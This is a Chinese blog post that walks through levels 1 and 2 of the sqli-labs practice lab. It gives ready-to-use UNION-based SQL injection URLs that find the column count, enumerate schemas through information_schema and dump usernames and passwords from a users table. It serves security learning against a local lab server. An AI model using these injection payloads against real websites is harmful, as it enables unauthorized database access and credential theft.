sqli-labs

作者: 二潘 | 来源:发表于2018-02-06 15:31 被阅读18次

    本人才是萌新,看到与本内容相同的文章,纯属意外@无敌的小周,粗来解释一下吧.....略略略
    —————————————————————————————————————
    废话不多说了,赶紧燥起来~

    为了方便学习查看,可以在源码中的$sql下一句语句写以下php语句(就是输出拿到数据库查询的完整语句是怎么样的)

        echo "你的 sql 语句是:".$sql."<br>";  
    

    Less-1 基于错误的GET单引号字符型注入

    注入点测试
    首先在后面加个单引号(当然你要在后面先加?id=一个数字),单引号被自动url编码了

    http://192.168.11.112/sqli/Less-1/?id=1'
    

    发现报了sql语句的语法错误,那么应该存在sql注入,因为没过滤单引号,我们就可以闭合单引号来进行注入
    报错语句如下:
    sql:SELECT * FROM users WHERE id='1'' LIMIT 0,1

    第1步首先先查询有几个字段,使用"order by (number)"【因为后面的查询需要用到union,所以这个地方需要猜查询了多少字段】

    在这之前首先需要人为的构造sql语句使之闭合,正常进行查询
    这里说两种可能遇到的sql语句注释符

    1. --【空格】 这里的空格一定要有。
    2.#     如果是post注入提交#不用编码也行
    有时候需要进行url编码具体的可以自行百度
    

    首先需要知道字段长度为多少,我们可以使用order by 来进行猜测

    http://192.168.11.112/sqli/Less-1/?id=1' order by 4 -- %20
    

    报错


    EWDED0NYVGT4B3S.png

    可以知道前面查询的字段是小于4的

    http://192.168.11.112/sqli/Less-1/?id=1' order by 3-- %20
    
    

    ![$UJ9Y{QN~Q)FI3LM89WK.png](https://img.haomeiwen.com/i9272355/536b59ab70316983.png?imageMog现在可以知道查询的字段有3个

    第2步查看目标字段在哪个位置显示
    【因为sqlib中只能显示1组数据,所以我们需要将前面的主查询改为负或者改为一个较大的数,来使前面的查询为空,从而为后面构造的union查询让出地方】

    http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,3 --%20
    
    图片.png

    第3步 将上面的2,3 进行替换

    user()
    database()
    version()
    @@datadir    当前数据库物理地址
    @@hostname   这台主机名
    @@VERSION   数据库版本
    @@version_compile_os  查看操作系统
    

    我这里查询的数据库版本信息和当前数据库

    http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,database(),version() --%20
    
    图片.png

    现在可以知道数据库版本为5.5.53;当前数据库为 security。
    mysql数据库information_schema,他是系统数据库,默认安装完就存在,其中记录的是当前数据库的数据库,表,列(字段),用户权限等信息,下面说一下常用的几个表

    • SCHEMA表存储mysql所有数据库的基本信息,包括数据库名,编码类型,路径等,show databases的结果取之于此。
    • TABLES表:存储mysql 中的表信息,这个表示基本表还是系统表,数据库引擎是什么,表有多少行,创建时间,最后更新时间 show tables from schemaname的结果取之于此
    • COLUMNS表:提供表中的的咧信息,详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,lieder编码类型,列的权限,列的注释等 是show columns form schemaname.tablename的结果取于此表
      接下来查询表名
    http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1 --%20
    
    图片.png

    可以查询到users表,猜测里面可能有我们想要的账号以及密码
    接下来继续查询表中的字段

    http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,column_name from information_schema.columns where table_name='users' limit 1,1--%20
    
    图片.png
    http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,column_name from information_schema.columns where table_name='users' limit 2,1--%20
    
    图片.png

    经过测试我们可以知道有几个字段有username,password,可能就是我们想要的用户名密码
    最后我们可以根据字段直接在users表中进行查询

    http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,username,password from users limit 2,1 --%20
    
    图片.png

    表里面其他的数据,自行遍历

    Less-2(基于错误的GET整型注入)

    这里跟上面几乎一样,只是$id没用单引号引着,(因为sql语句对于数字型的数据可以不加单引号)

    http://192.168.11.112/sqli/Less-2/?id=1 order by 4 --%20
    

    可以知道前面查询的字段是小于4的

    http://192.168.11.112/sqli/Less-2/?id=1 order by 3 --%20
    
    图片.png

    现在就可以知道查询的字段有3个
    查看目标字段在哪个位置上面显示

    http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,2,3 --%20
    
    图片.png

    第3步 将上面的2,3 进行替换,我这里查询的数据库版本信息和当前数据库

    http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,database(),version() --%20
    
    图片.png

    接下来查询表名

    http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1 --%20
    
    图片.png

    可以查询到users表,猜测里面可能有我们想要的账号以及密码
    接下来继续查询我们想要的表中的字段

    http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,2,column_name from information_schema.columns where table_name='users' limit 2,1 --%20
    
    图片.png

    经过测试我们可以知道有几个字段有username,password,可能就是我们想要的用户名密码

    http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,username,password from users limit 2,1 -- %20
    
    图片.png

    Less-3(基于错误的GET单引号变形字符型注入)

    相关文章

      网友评论

          本文标题:sqli-labs

          本文链接:https://www.haomeiwen.com/subject/qumgzxtx.html